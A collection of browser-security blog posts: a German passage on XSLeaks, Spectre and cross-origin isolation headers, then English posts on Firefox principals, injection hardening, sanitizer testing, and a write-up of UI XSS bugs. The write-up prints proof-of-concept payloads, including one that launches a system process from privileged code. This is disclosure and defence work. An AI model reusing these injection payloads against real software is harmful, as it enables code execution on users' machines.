Derselbe Angriff funktioniert nur leider ebenfalls mit einem Popup bzw der Referenz, die aus window.open fällt. Ferner lässt sich eben diese Schwachstelle nicht aufheben, da Browser hier die Rückwärtskompatibilität für existierende Webseiten wahren müssen.

Unter dem Begriff XSLeaks gibt es allerdings noch viele weitere Techniken:

history.length lässt sich benutzen um redirects zu erkennen (nützlich für Login detection in login_and_then-Patterns in Webseiten)
Bilder, Videos, Audio erlauben das ausmessen von metadaten (A/V-Länge, Bilddimensionen)
Request timing (wie lange dauert ein fetch())
Leak of HTTP request done by exhausting the Network pool

Spectre

Anfang 2018 veröffentlichte eine Gruppe von Sicherheitsforschern die Sicherheitslücken Spectre & Meltdown. Diese Schwachstellen betreffen die gängigsten CPUs von u.a. AMD, Intel. Durch cleveres Ausnutzen einer Optimierung (speculative branching), die so vom Angreifer kontrolliert wird, dass sie nicht greift und eine "branch misprediction" rückgängig gemacht werden soll, ist es dem Angreifer möglich den gesamten Speicher innerhalb des selben laufenden Prozesses auszulesen. Ferner hat ein Team von Microsoft Vulnerability Research gezeigt, dass sich diese Lücke via JavaScript ausnutzen lässt.

Spectre ist insbesondere für Browser ein Problem, da sich mehrere Origins normalerweise einen Prozess teilen.

Diese Angriffe benötigen meist APIs für Shared Memory, wie SharedArrayBuffer. Daher haben sich die Browser darauf geeinigt SharedArrayBuffer vorübergehend abzuschalten.

Zusammenfassend: Sicherheitslücken vermeiden, Zugriff zu SharedArrayBuffer wieder erlangen:

Es gibt sinnige Bestrebungen, sich weiter von anderen Webseiten fernzuhalten, als nur durch die Same-Origin Policy forciert.

Informationen zu Fenstern aus anderen Origins können nicht vollständig aus dem jeweiligen Prozess rausgehalten werden, zum Beispiel durch <img src>.

Im Zuge dessen, sind Browser dazu übergegangen jedem Origin seinem eigenen Prozess zuzuweisen. Das nennen wir Site-Isolation bzw. bei Firefox "Project Fission".

Normalerweise würde der Browser ungefähr jedem Tab einen eigenen Prozess zuweisen. Mit "Site Isolation" benötigen wir für jeden iframe einen weiteren Prozess. Für eine News-Webseite wie cnn.com werden statt einem Prozess nun auf einmal etwa 14 Prozesse benötigt.

Neue Methoden für Cross-Origin Isolation

Aufgrund der neuen Angriffe und der neuen Browser-Architektur, ziehen es bestimmte Webseiten nun vor sich und ihr Origin komplett zu isolieren. Wenn man als Webseite in seinem komplett eigenen Tab ist - ohne Ausnahme, dann wäre auch ein Spectre-Angriff nicht mehr problematisch. Alles was ausgelesen werden kann, ist ohnehin eigene Information. Um das zu ermöglichen, wurden ein paar neue Sicherheitsmechanismen in Form eines HTTP Response Headers eingeführt. Eine Kombination derer erlaubt es, als "crossOriginIsolated" zu gelten und somit wieder Zugriff auf SharedArrayBuffer zu erhalten.

Hier nun ein kurzer Überblick über die neuen Cross-Origin primitiven:

Cross-Origin-Opener-Policy (COOP)

Cross-Origin-Opener-Policy: unsafe-none | same-origin-allow-popups | same-origin

Unter Zuhilfenahme von Cross-Origin-Opener-Policy, kann eine Seite explizit sagen, dass es keine window-handles (opener, popup) für Fenster aus anderen Origins geben darf:

Hierfür senden wir Cross-Origin-Opener-Policy: same-origin.

Cross-Origin-Embedder-Policy (COEP)

Cross-Origin-Embedder-Policy: unsafe-none | require-corp | credentialless

Wenn man COOP einsetzt besteht immer noch die Möglichkeit, dass man selbst noch irgendwelche Cross-Origin Resourcen nachlädt (versehentlich, redirects, usw.). Mit Cross-Origin-Embedder-Policy: require-corp kann man sicher stellen, dass das Dokument nur Ressourcen in den Prozess lädt, die von dem eigenen Origin sind oder es explizit erlaubt (durch CORP. siehe unten) .

Wenn der Wert credentialless gesetzt ist, werden cross-origin Inhalte ohne Cookies (credentials) angefordert. Das erlaubt Interaktionen mit Webseiten, die nicht explizit "CORP" benutzen.

COOP + COEP = `crossOriginIsolated`

Nur wenn man COOP+COEP einsetzt, erhält eine Website das Attribut window.crossOriginIsolated als true. Nur, wenn man sich mit seinen eigenen (plus eventuell öffentlichen) Daten in einem eigenen Prozess abschottet, erhält man Zugriff auf SharedArrayBuffer und einen besonders genauen Timer in der Performance API.

CORP

Cross-Origin-Resource-Policy: same-site | same-origin | cross-origin

Mit CORP kann man, in etwa analog zu CORS, eine Ressource freischalten und für den Gebrauch als öffentlich jenseits der Prozessgrenzen hinweg deklarieren

CORB bzw. ORB

Im Gegensatz zu den letzt genannten Methoden sind CORB, ORB kein HTTP Header, sondern eine Festlegung, wie ein Browser gewisse Ressourcen zu laden hat:. Die Idee basiert darauf, dass cross-origin Resourcen mit "zweifelhaften Content-Typen" so blockiert werden, dass sie für den Webprozess als "Network Error" dargestellt werden. Weitestgehend, geht es darum Inhalte bereits an der Prozessgrenze zu blockieren, wenn nicht eindeutig klar ist, dass sie für den Gebrauch wirklich erlaubt sind. Typische Beispiele sind Inhalte mit Content-Type text/plain, welches dann über <script> geladen werden könnten und trotz Syntaxfehler im Prozessspeicher landen. Dies wird künftig nicht mehr möglich sein.

Ausblick

Da die Themen xsleaks und auch Spectre noch relativ jung sind, ist zu erwarten dass es weitere Mechanismen, Einschränkungen oder neue Werte für die hier vorgestellten Response Header entwickelt werden. Bereits jetzt werden Mechanismen wie "restrict-properties" für Cross-Origin-Opener Policy vorgeschlagen, was die Isolation beibehalten soll aber OAuth-Flows über pop ups ermöglichen könnte.

Es wird sich zeigen, was hier ausreichend ist und bleibt.

Reference Sheet for Principals in Mozilla Code

2020-08-03T00:00:00+02:00

Note: This is the reference sheet version. The details and the big picture are covered in Understanding Web Security Checks in Firefox (Part 1).

Principals as a level of privilege

A security context is always using one of these four kinds of Principals:

ContentPrincipal: This principal is used for typical web pages and can be serialized to an origin URL, e.g., https://example.com/.
NullPrincipal: Some pages are never same-origin with anything else. E.g., <iframes sandbox> or documents loaded with a data: URI. The standard calls this an opaque origin.
SystemPrincipal: The SystemPrincipal is used for the browser's user interface, commonly referred to as "browser chrome". Pages like about:preferences use the SystemPrincipal.
ExpandedPrincipal: A browser extension is more privileged than normal web pages, but must also be able to assume the security context of a website. Hence, an ExpandedPrincipal is best understood as a list of principals to match the security needs for Content Scripts in Firefox Extensions. The security checks on the ExpandedPrincipal are then implemented as a loop through this allowlist of principals.

Principals to be considered during security checks

loadingPrincipal: The principal of the document where the result of the load will be used.
triggeringPrincipal: The security context that actually triggered the URL to load. In most cases the loadingPrincipal and the triggeringPrincipal are identical. But imagine a cross-origin CSS resource loading a background image. Here, the triggeringPrincipal is principal for the CSS file.

As an aside: There's also a StoragePrincipal: To adjust anti-tracking settings in Firefox, we can change the Principal that a document is using for storage (and related technologies) on the fly. This is achieved with a StoragePrincipal.

Hardening Firefox against Injection Attacks – The Technical Details

2020-07-07T00:00:00+02:00

This blog post has first appeared on the Mozilla Attack & Defense blog and was co-authored with Christoph Kerschbaumer and Tom Ritter

In a recent academic publication titled Hardening Firefox against Injection Attacks (to appear at SecWeb – Designing Security for the Web) we describe techniques which we have incorporated into Firefox to provide defense in depth against code injection attacks. Within this blogpost we are going to provide insights into the described hardening techniques at a technical level with pointers to the actual code implementing it. Note that links to source code are perma-linked to a recent revision as of this blog post. More recent changes may have changed the location of the code in question.

Background on Privilege Separation in Firefox

The security architecture for separating web content and privileged (chrome) content within Firefox builds upon (1) the security boundaries provided by process separation and (2) the security boundaries provided by context separation.

The privileged chrome process is able to perform any action the end user has access to. In contrast, the lesser privileged content process (used for loading web content) is sandboxed and restricted from almost all access to Operating System features or user privileges.
The security context of the User Interface and privileged chrome code within Firefox is represented by the System-Principal. In contrast, the security context of untrusted web content builds upon the security context represented by a Content-Principal. (Please find details on the different kinds of Principals within Firefox in our recent post: Understanding Web Security Checks in Firefox).

Firefox Security Architecture showing the separation of privileged chrome code and the Tabs A, B, and C including DOM windows exhibiting unprivileged content code.

The two privilege distinctions – a privileged parent process and other lesser privileged child processes; and the privileged System Principal Context and the lesser privileged Content and Null Principal Contexts – both describe mechanisms of privilege distinction within Firefox. However, the actual mechanism by which privilege is separated is generally unimportant in the context of privilege escalation attacks, which our hardening prevents.

While process-based separation is a fairly generic architecture, Principal-based separation is specific to Gecko – the rendering engine powering Firefox. Nonetheless, tricking system-principled code into doing your bidding is just as alarming as a cross-process attack. It is considered an injection attack and exposes a significant security bypass.

Securing about: pages

Firefox ships with a variety of built-in pages, commonly referred to as about: pages. Such about: pages allow the user to view internal browser information or change settings.

If one were able to inject script into a privileged about: page it would represent a complete browser takeover in many cases. To reduce this injection attack surface, we apply a strong Content Security Policy (CSP) of default-src chrome: to all about: pages. The applied CSP restricts script to only JavaScript files bundled and shipped with the browser and accessible only via the Firefox internal chrome:// protocol. Whenever loading any kind of JavaScript, Firefox internally consults its CSP implementation by calling the function ShouldLoad() for external resources, or GetAllowsInline() for inline scripts. If the script to be executed is not allow-listed by the added CSP then Firefox will block the script execution, rendering the code injection attack obsolete.

Further, we verify that any newly added about: page within Firefox exposes a strong CSP by consulting the function AssertAboutPageHasCSP(). This function basically acts as a commit guard to our codebase and ensures that no about: page makes it into the Firefox codebase without a strong CSP.

Before we started to protect about: pages with a CSP we faced a bug where text and markup controlled by a web application was reused in a permission prompt, which led to a Universal Cross-Site Scripting (UXSS) attack in the browser interface (CVE-2018-5124). These scripts run with elevated privileges that get access to internal APIs and can result in a full system compromise. What raises the severity of such bugs is the high-level nature of the vulnerability and the highly deterministic nature of the exploit code which allowed comparably trivial exploitation.

Allowing JavaScript only from packaged sources and not allowing any inline script in any privileged context limits the attack surface of arbitrary code execution and provides a strong first line of defense against code injection attacks.

Restricting Loads in Privileged Contexts

Higher privileged contexts within Firefox have access to APIs that are capable of modifying the browser settings and its user interface. Most prominently, about:config, which exposes an API to inspect and update preferences and settings which allows Firefox users to tailor their Firefox instance to their specific needs and desires. Being able to set arbitrary preferences is powerful enough that we treat it as a full security bypass.

We ensure that privileged APIs (such as those that allow setting preferences) are restricted to HTML documents and scripts that are part of the Firefox source code. More precisely, system privileged code within Firefox should never need to load remote web content, because all the user interface code is packaged and shipped with the browser itself.

Enforcing additional restrictions on privileged APIs not only fixes an theoretical attack vector: In June 2019, we were made aware of an active exploit that combined a JavaScript JIT bug (CVE-2019-11707) to gain arbitrary code execution with a logic bug in our IPC (Inter-Process Communication) code (CVE-2019-11708). The logic bug allowed loading remote web content in the parent process. In order to gain code execution within the unsandboxed parent process, the exploit loaded itself in the parent process and exploited the same JIT engine bug again. We addressed and fixed the specific issues instantly and shipped a fix to the JIT bug and the IPC method within a few days.

In addition to fixing the specific problem, and as a defense in depth mechanism, we started to enforce additional restrictions to eliminate that entire class of security problems. By adding and consulting the function CanLoadInParentProcess() Firefox is effectively not allowing documents with a scheme other than chrome:, about: or resource: to load in the parent process. Adding this additional restriction limits document loads to the aforementioned schemes and therefore prevents any remote web document loads in the parent process.

To systematically restrict all resource loads (document and subresource loads) into system privileged context or the parent process all loads consult the function CheckAllowLoadInSystemPrivilegedContext(). Since Firefox enforces a Security by Default loading mechanism for all resource loads we build our monitoring system on top of these efforts which allows us to enforce runtime assertions for every resource load. This security mechanism ensures that Firefox can only load resources into system privileged context or the parent process if the resource is packaged and shipped with the browser, hence eliminating an entire set of privilege escalation attacks.

Restricting Eval in System Privileged Contexts

The JavaScript function eval() provides a powerful yet dangerous tool. An attacker who could inject strings into our user interface (UI) code that is then eval-ed would allow the attacker to execute script in a system privileged context, allowing a complete browser takeover

Please note that our UI is written using standard web technologies such as HTML and JavaScript. This JavaScript code runs with system privileges. Relying on internet technologies to write the browser user interface has a multitude of advantages such as rapid prototyping and quicker development cycles, but also exposes the risk of injection attacks.

To provide a defense in depth mechanism against string injection attacks which would turn into executable code at runtime, we removed all instances of eval() in system privileged code. By consulting the function IsEvalAllowed() at runtime we ensure that all calls to eval() are blocked in system privileged contexts.

Removing all occurrences of eval() in system privileged contexts reduces the attack surface of arbitrary code execution and hence provides an additional layer of security against code injection attacks.

Restricting access through X-Ray Vision

Though Firefox has been shipping with a hardening mechanism known as X-Ray Vision for a multitude of years, X-Ray Vision builds the foundation for the hardening work we are presenting in this blogpost. Not having X-Ray vision would render all additional hardening efforts obsolete, hence it’s worth sketching out fundamentals about that security mechanism within this blogpost.

Firefox runs JavaScript from a variety of different sources and at a variety of different privilege levels, and at times these privilege levels must interact. The security machinery in Firefox ensures that there is asymmetric access between code at different privilege levels. In more detail, Firefox ensures that web content code can not access JavaScript objects created by chrome code, but chrome code can access objects created by content. However, even the ability to access content objects can be a security risk for chrome code.

Almost a decade ago, Mozilla realized the importance of secure interactions between privileged Javascript code belonging to the browser application and web content script. Within the Meta Bug 929539 and its dependencies, Firefox created the concept of X-Ray vision to mitigate an entire class of privilege escalation attacks.

The fundamental principle of X-Ray Vision is that dynamic content-controlled data is only exposed through well-defined access points for a given object type. When a privileged script accesses an object, it sees only the native version of the object. If any properties of the object have been redefined by web content, it sees the original implementation, not the redefined version.

X-Ray Vision is implemented by identifying the separation of execution contexts of JavaScript. Once this identification is made, we can extend the checks logically. If content code somehow got a reference to an object from a higher privilege level, then trying to dereference that handle is where access would actually be blocked. And similarly, although two origins are the same privilege level insomuch as they are both content-privileged; they are separate execution contexts and are also blocked. Hence, X-Ray Vision provides a systematic guard to eliminate an entire set of privilege escalation problems within Firefox.

Going Forward

Adding layers of security allows us to harden the codebase of Firefox against all injection attacks we are not aware of or may get introduced in the future. We encourage contributors, hackers, and bug bounty hunters to verify there are no flaws in our design. While the provided mechanisms provide a solid line of defense we would like to call out that bypassing any of the presented defense in depth mechanisms is eligible for a bug bounty.

Understanding Web Security Checks in Firefox (Part 1)

2020-06-10T00:00:00+02:00

This blog post has first appeared on the Mozilla Attack & Defense blog and was co-authored with Christoph Kerschbaumer

This is the first part of a blog post series that will allow you to understand how Firefox implements Web Security fundamentals, like the Same-Origin Policy. This first post of the series covers the architectural design, terminology, and introduces core interfaces that our implementation of the Same-Origin Policy relies on: nsIPrincipal and nsILoadinfo.

Background on Web Security Checks

Whenever Firefox on Desktop or Android fetches a resource from the web, Firefox performs a variety of web security checks to ensure web pages can not harm end users by performing malicious actions. For example, when loading a sub-resource from a web page, Firefox ensures that its URL is not targeting the local file system with a file:// scheme. Before diving deeper into Firefox Security internals we have to introduce the term Security Principal* , which is key for understanding how Firefox enforces web security checks.

The Security Contexts in Firefox

All web related security checks within Firefox are evaluated based on the security concept of a Principal. Briefly, a Principal reflects a security context. E.g., when visiting https://example.com a * Content-Principal* of https://example.com reflects the security context of that page. More precisely, Firefox captures the security context using one of the following four types of Principals:

Content-Principal

The HTML specification associates an origin with a Document or a Worker. That origin information is encapsulated within a Content-Principal and reflects the security context for all web-hosted resources. E.g. when loading the web page https://example.com, then Firefox creates a Content-Principal encapsulating origin information of https://example.com which then reflects the security context of that web page.
Null-Principal
In special cases, websites are never same-origin with anything else. Two such cases are iframes with a sandbox attribute and documents loaded with a data: URI. The HTML specification calls the origin of those pages an opaque origin. Our implementation uses a * Null-Principal* for reflecting the security context of an opaque origin. In contrast to a Content-Principal which internally maps to the origin of the resource, a Null-Principal uses a custom scheme and host, e.g. moz-nullprincipal:{0bceda9f-…}, where the host is represented as a UUID. So, when loading an iframe with a sandbox attribute Firefox internally generates a Null-Principal to reflect that security context. Please note that a Null-Principal is not equal to any other Principal and also not equal to any other Null-Principal. E.g., a data: URI iframe is not same-origin with another data: URI iframe because both security contexts are mapped through different Null-Principals.
System-Principal

The * System-Principal* is used for the browser’s user interface, commonly referred to as “browser chrome”. An example of a page with these extra privileges is “about:support”. The System-Principal is shared across all privileged resources, and implemented as a Singleton. Since browser chrome code does not rely on a URI, the System-Principal internally also does not map to an origin. The System-Principal passes all security checks.
Expanded-Principal

A browser extension is more privileged than normal web pages, but must also be able to assume the security context of a website. Hence, an * Expanded-Principal is best understood as a * list of principals to match the security needs for Content Scripts in Firefox Extensions. When creating an Expanded-Principal Firefox takes multiple existing Principals, storing them in an allowlist. The security checks on the Expanded-Principal are then implemented as a loop through this allowlist of principals.

The Loading Life-Cycle in Firefox

Whenever a page performs a request, Firefox internally creates an nsIChannel object (which acts as the transport algorithm, such as HTTP(S), WebSocket etc.). Amongst other things an nsIChannel consists of an nsIURI, which is the URI to be loaded, and an nsILoadInfo object. The latter holds all security relevant attributes including security flags indicating what security checks need to be performed and the aforementioned Principal. It is worth emphasizing that the loadinfo – including the Principal – gets frozen at creation time and remains attached to the nsIChannel instance even if the load encounters any kind of redirect, e.g. a 302. The last step before Firefox starts loading bits over the network is performing all relevant security checks within the function asyncOpen() of any nsIChannel implementation.

Enforcing Web Security Checks in Firefox

Firefox enforces all web security checks by default by consulting a centralized ContentSecurityManager. As mentioned, every asyncOpen() implementation internally calls doContentSecurityCheck() which then performs all relevant web security checks e.g., Same-Origin Policy, Content Security Policy, Mixed Content Blocking.

To perform all relevant security checks Firefox has to take * multiple* principals into consideration, most notably the loadingPrincipal and the triggeringPrincipal. The loadingPrincipal is the principal of the document where the result of the load will be used. The triggeringPrincipal is the security context that actually triggered the URL to load. In most cases the loadingPrincipal and the triggeringPrincipal are identical. One example where loadingPrincipal and triggeringPrincipal differ is a cross-origin CSS file requesting an image. In that case the loadingPrincipal is a Content-Principal of the page where the image will be loaded into, and the triggeringPrincipal is a cross-origin Content-Principal of the CSS file.

Taking the loadingPrincipal and the triggeringPrincipal into account, Firefox performs security checks in an *asymmetric * fashion. More precisely, a Principal may have access to another Principal but not necessarily vice versa. This is also why security checks are not implemented as equality checks. Instead, Firefox relies on the concept of ‘subsumes’. In more detail, Firefox uses aPrincipal->Subsumes(aOtherPrincipal), to see if aPrincipal has access to aOtherPrincipal.

The aforementioned System-Principal subsumes all other principals, but a Null-Principal basically fails all security checks and is only same-origin with itself. A Content-Principal is same- origin to another Content-Principal if scheme, host and port are the same for both. If so, Firefox allows the load.

An illustrative example of a Web Security Check

Let’s assume you visit the web page https://example.com and that page then loads library.js from https://foo.com. For the JavaScript load to occur Firefox will internally create an nsIChannel with the URL of https://foo.com/library.js.

As illustrated, the loadinfo for that load would include the following information: A triggeringPrincipal of https://example.com, because the page https://example.com actually triggered the load to occur. The loadingPrincipal would also be set to https://example.com because the result of the JS load will be used in the security context of https://example.com. The ContentPolicy type will be set to TYPE_SCRIPT which e.g., allows mapping of content type to Content Security Policy directives (in this particular case to the script-src directive). Finally, the security flags would be set to ALLOW_CROSS_ORIGIN because JavaScript files are allowed to be loaded cross origin.

While in that particular case Firefox would allow the cross origin load, it would still ensure that the web page is not trying to access the local file system of the end user.

Going Forward

In this blog post, we explained how Firefox enforces Web Security checks, like the Same-Origin Policy. In the next post we’ll explain how to enable available logging mechanisms which allow for visual inspection of every web security check performed. We hope that this introduction will aid security research as well as bug bounty hunting and sparks your curiosity to go further, even contribute to Mozilla and the Open Web.

Help Test Firefox's built-in HTML Sanitizer to protect against UXSS bugs

2019-12-06T00:00:00+01:00

This article first appeared on the Mozilla Security blog

I recently gave a talk at OWASP Global AppSec in Amsterdam and summarized the presentation in a blog post about how to achieve "critical"-rated code execution vulnerabilities in Firefox with user-interface XSS. The end of that blog posts encourages the reader to participate the bug bounty program, but did not come with proper instructions. This blog post will describe the mitigations Firefox has in place to protect against XSS bugs and how to test them. Our about: pages are privileged pages that control the browser (e.g., about:preferences, which contains Firefox settings). A successful XSS exploit has to bypass the Content Security Policy (CSP), which we have recently added but also our built-in XSS sanitizer to gain arbitrary code execution. A bypass of the sanitizer without a CSP bypass is in itself a severe-enough security bug and warrants a bounty, subject to the discretion of the Bounty Committee. See the bounty pages for more information, including how to submit findings.

How the Sanitizer works

The Sanitizer runs in the so-called "fragment parsing" step of innerHTML. In more detail, whenever someone uses innerHTML (or similar functionality that parses a string from JavaScript into HTML) the browser builds a DOM tree data structure. Before the newly parsed structure is appended to the existing DOM element our sanitizer intervenes. This step ensures that our sanitizer can not mismatch the result the actual parser would have created - because it is indeed the actual parser. The line of code that triggers the sanitizer is in nsContentUtils::ParseFragmentHTML and nsContentUtils::ParseFragmentXML. This aforementioned link points to a specific source code revision, to make hotlinking easier. Please click the file name at the top of the page to get to the newest revision of the source code. The sanitizer is implemented as an allow-list of elements, attributes and attribute values in nsTreeSanitizer.cpp. Please consult the allow-list before testing. Finding a Sanitizer bypass is a hunt for Mutated XSS (mXSS) bugs in Firefox -- Unless you find an element in our allow-list that has recently become capable of running script.

How and where to test

A browser is a complicated application which consists of millions of lines of code. If you want to find new security issues, you should test the latest development version. We often times rewrite lots of code that isn't related to the issue you are testing but might still have a side-effect. To make sure your bug is actually going to affect end users, test Firefox Nightly. Otherwise, the issues you find in Beta or Release might have already been fixed in Nightly.

Sanitizer runs in all privileged pages

Some of Firefox's internal pages have more privileges than regular web pages. For example about:config allows the user to modify advanced browser settings and hence relies on those expanded privileges. Just open a new tab and navigate to about:config. Because it has access to privileged APIs it can not use innerHTML (and related functionality like outerHTML and so on) without going through the sanitizer.

Using Developer Tools to emulate a vulnerability

From about:config, open The developer tools console (Go to Tools in the menu bar. Select Web Developers, then Web Console (Ctrl+Shift+k)). To emulate an XSS vulnerability, type this into the console: document.body.innerHTML = '<img src=x onerror=alert(1)>' Observe how Firefox sanitizes the HTML markup by looking at the error in the console: “Removed unsafe attribute. Element: img. Attribute: onerror.” You may now go and try other variants of XSS against this sanitizer. Again, try finding an mXSS bug or by identifying an allowed combination of element and attribute which execute script.

Finding an actual XSS vulnerability

Right, so for now we have emulated the Cross-Site Scripting (XSS) vulnerability by typing in innerHTML ourselves in the Web Console. That's pretty much cheating. But as I said above: What we want to find are sanitizer bypasses. This is a call to test our mitigations. But if you still want to find real XSS bugs in Firefox, I recommend you run some sort of smart static analysis on the Firefox JavaScript code. And by smart, I probably do not mean eslint-plugin-no-unsanitized.

Summary

This blog post described the mitigations Firefox has in place to protect against XSS bugs. These bugs can lead to remote code execution outside of the sandbox. We encourage the wider community to double check our work and look for omissions. This should be particularly interesting for people with a web security background, who want to learn more about browser security. Finding severe security bugs is very rewarding and we're looking forward to getting some feedback. If you find something, please consult the Bug Bounty pages on how to report it.

Remote Code Execution in Firefox beyond memory corruptions

2019-09-29T00:00:00+02:00

This is the blog post version of my presentation form OWASP Global AppSec in Amsterdam 2019. It was presented in the AllStars Track.

Abstract:

Browsers are complicated enough to have attack surface beyond memory safety issues. This talk will look into injection flaws in the user interface of Mozilla Firefox, which is implemented in JS, HTML, and an XML-dialect called XUL. With an Cross-Site Scripting (XSS) in the user interface attackers can execute arbitrary code in the context of the main browser application process. This allows for cross-platform exploits of high reliability. The talk discusses past vulnerabilities and will also suggest mitigations that benefit Single Page Applications and other platforms that may suffer from DOM-based XSS, like Electron.

Prologue

(This is the part, where we reduce the lighting and shine a flashlight into my face)

Listen, well, young folks. Old people, browser hackers or Mozilla fanboys, might use this as an opportunity to lean back and stroke their mighty neckbeard, as they have heard all of this before

It was the year 1997, and people thought XML was a great idea. In fact, it was so much better than its warty and unparseable predecessor HTML. While XHTML was the clear winner and successor for great web applications, it was obvious that XML would make a great user interface markup language to create a powerful cross-platform toolkit dialect. This folly marks the hour of birth for XUL. XUL was created as the XML User Interface Language at Netscape (the company that created the origins of the Mozilla source code. Long story. The younger folks might want to read upon Wikipedia or watch the amazing Movie "Code Rush", which is available on archive.org). Jokingly, XUL was also a reference to the classic 1984 movie Ghostbusters, in which an evil deity called Zuul (with a Z) possesses innocent people.

Time went by and XUL did not take off as a widely-recognized standard for cross-platform user interfaces. Firefox has almost moved from XUL and re-implemented many parts in HTML. Aptly named after an evil spirit, we will see that XUL still haunts us today.

Mapping the attack surface

Let's look into Firefox, to find some remnants of XUL, by visiting some internal pages. Let's take a look at some Firefox internal pages. By opening about:preferences in a new tab (I won't be able to link to it for various good reasons). Now either look at the source code using the Developer Tools (right-click "Inspect Element") or view the source code of Firefox Nightly using the source code search at searchfox.org.

We can also open the developer console and poke around with the obscure objects and functions that are available for JavaScript in privileged pages. As a proof-of-concept, we may alert(Components.stack), which gives us a stringified JavaScript call stack - notably this is a JavaScript object that is left undefined for normal web content.

Inspecting the source code we also already see some markup that screams both XML as well as XML-dialect. While still in our information gathering phase, we will not go too deep, but make note of two observations: - XUL is not HTML. To get a better understanding of elements like <command>, <colorpicker> or <toolbar>, we will be able to look at the XUL Reference on MDN - XUL is scriptable! A <script> tag exists and it may contain JavaScript.

There are also some newer pages like about:crashes, which holds previously submitted (or unsubmitted) crash reports. Whether those internal pages are written in (X)HTML or XUL. Most of the interacive parts are written in JavaScript. I suppose most of you will by now understand that we are looking for Cross-Site Scripting (XSS) vulnerabilities in the browser interface. What's notable here, is that this bypasses the sandbox.

As an aside the page behind about:cache is actually implemented using C++ that emits HTML-ish markup.

Let's start with search and `grep`

Being equipped with the right kind of knowledge and the crave for a critical Firefox bug under my name, I started using our code search more smartly. Behold:

Search: .innerHTML =

Number of results: 1000 (maximum is 1000)

Hm. Excluding test files.

Search: innerHTML =

Number of results: 414

That's still a lot. And that's not even all kinds of XSS sinks. I would also look for outerHTML, insertAdjacentHTML and friends.

Search (long and hairy regular expression that tries to find more than innerHTML)

Number of results: 997

That's bad. Let's try to be smarter!

JavaScript Parsing - Abstract Syntax Trees. ESLint to the rescue!

I've actually dabbled in this space for a long while before. This would be another talk, but a less interesting one. So I'll skip ahead and tell you that I wrote an eslint plugin, that will analyze JavaScript files to look for the following:

Checking the right-hand side in assignments (+, +=) where the left part ends with either innerHTML or outerHTML.
Checking the first argument in calls to document.write(), document.writeln(), eval and the second argument for insertAdjacentHTML.

For both, we'll check whether they contain a variable. String literals or empty strings are ignored. The plug-in is available at as eslint-plugin-no-unsanitized and allows for configuration to detect and ignore built-in escape and sanitize functions. If you're worried about DOM XSS, I recommend you check it out.

Discovered Vulnerabilities

Using this nice extension to scan all of Firefox yields us a handy amount of 32 matches. We create a spreadsheet and audit all of them by hand. Following around long calling chains, with unclear input values and patterns that either escape HTML close to the final innerHTML, upon creation or stuff that's extracted from databses (like the browsing history), which does its escaping upon insertion.

Many nights later

A first bug appears

Heureka! This sounds interesting:

  let html = `
    <div style="flex: 1;
                display: flex;
                padding: ${IMAGE_PADDING}px;
                align-items: center;
                justify-content: center;
                min-height: 1px;">
      <img class="${imageClass}"
           src="${imageUrl}"/>       <----- boing
    </div>`;
  // …
  div.innerHTML = html;

When hovering over an markup that points to an image in the web developer tools, they will helpfully create a tooltip that preloads and shows the image for the web developer to enjoy. Unfortunately, that URL is not escaped.

Writing the exploit

After spending a few sleepless nights on this, I didn't get anything beyond a XML-conformant proof of concept of <button>i</button>. At some point I filed the bug as sec-moderate, i.e., this is almost bad, but likely needs another bug to be actually terrible. I wrote:

I poked a bit again and I did not get further than <button>i</button> for various reasons … In summary: I'd be amazed to see if someone else gets any farther.

A few nights later, I actually came up with an exploit that breaks the existing syntax while staying XML conformant. We visit an evil web page that looks like this:

<img src='data:bb"/><button><img src="x" onerror="alert(Components.stack)" /></button><img src="x'>

The image URL that is used in the vulnerable code spans all the way from data: to the closing single quote at the end. Our injection alerts Components.stack, which indicates that we have left the realms of mortal humans.

This is Bug 1372112 (CVE-2017-7795). Further hikes through our spreadsheets of eslint violations lead to Bug 1371586 (CVE-2017-7798). Both were fixed in Firefox 56, which was released in the fall of 2017.

We find and fix some minor self-xss bugs (e.g., creating a custom preference in about:config with the name of <button>hi</button> lead to XUL injections. All of them are fixed and we're fearful that mistakes will be made again.

Critical bugs are a great way to impact coding style discussions and it is decided that the linter might as well be included in all of our linters. innerHTML and related badness is forbidden and we rub our hands in glee. Unfortunately, it turned out that lots of legacy code will not be rewritten and security engineers do not want to deal with the affairs of front end engineers (joke's on me in the end though, I promise). So, we allow some well-audited and finely escaped functions with a granular and exception, that gives us a confident feeling of absolute security (it's a trap!)

// eslint-disable-next-line no-unsanitized/property

A Dark Shadow

I feel like I have eradicated the bug class from the entirety of our codebase. We may now look for more complicated bugs and our days get more exciting.

Of course, I wander through the office bragging with my cleverness, warning young folks from the danger of XSS and proudly wearing my security t-shirts. There's lots of colorful war stories to be told and even more free snacks or fizzy drinks to be consumed.

Meanwhile: My great colleagues that contribute and actually develope useful stuff. On top of their good work, some of them even mentor aspiring students and enthusiastic open source fans. Having listened to my stories of secure and well-audited code that should eventually be replaced, they make an effort to get someone remove all of the danger, so we get to live in an exception-less world that truly disallows all without these pesky eslint-disable-next-line comments.

Naturally, code is being moved around, refactored and improved by lots of other people in the organization.

So, while I'm sitting there, enjoying my internet fame (just browsing memes, really), people show up at my desk asking me for a quick look at something suspicious:

// eslint-disable-next-line no-unsanitized/property
doc.getElementById("addon-webext-perm-header").innerHTML = strings.header;

// data coming *mostly* from localization-templates
    let strings = {
      header: gNavigatorBundle.getFormattedString("webextPerms.header", [data.name]),
      text: gNavigatorBundle.getFormattedString("lwthemeInstallRequest.message2",
                                                [uri.host]),
// ..
// but of course all goes through _sanitizeTheme(aData, aBaseURI, aLocal)
// (which does not actually sanitize HTML)

I feel massively stupid and re-create my spreadsheet. Setting eslint to ignore the disable-next-line stuff locally allows me to start all over. We build an easy exploit that pops calc. How funny! We also notice that a few more bugs like that have crept in, since the "safe" call sites were whitelisted. Yikes.

Having learned about XML namespaces, a simpler example payload (without the injection trigger) would like look this:

<html:img onerror='Components.utils.import("resource://gre/modules/Subprocess.jsm");Subprocess.call({ command: "/usr/bin/gnome-open" });' src='x'/>,

This is Bug 1432778.

Hope on the horizon

A good patch is made and circulated with a carefully selected group of senior engineers. We have various people working on the code and are concerned about this being noticed by bad actors. With the help of the aforementioned group, we convince engineering leadership that this warrants an unscheduled release of Firefox. We start a simplified briefing for Release Management and QA.

People point out that updates always take a while to apply to all of our release base and shipping a new version with a single commit that replaces .innerHTML with .textContent seems a bit careless. Anyone with a less-than sign on their keyboard could write a "1-day exploit" that would affect lots of users.

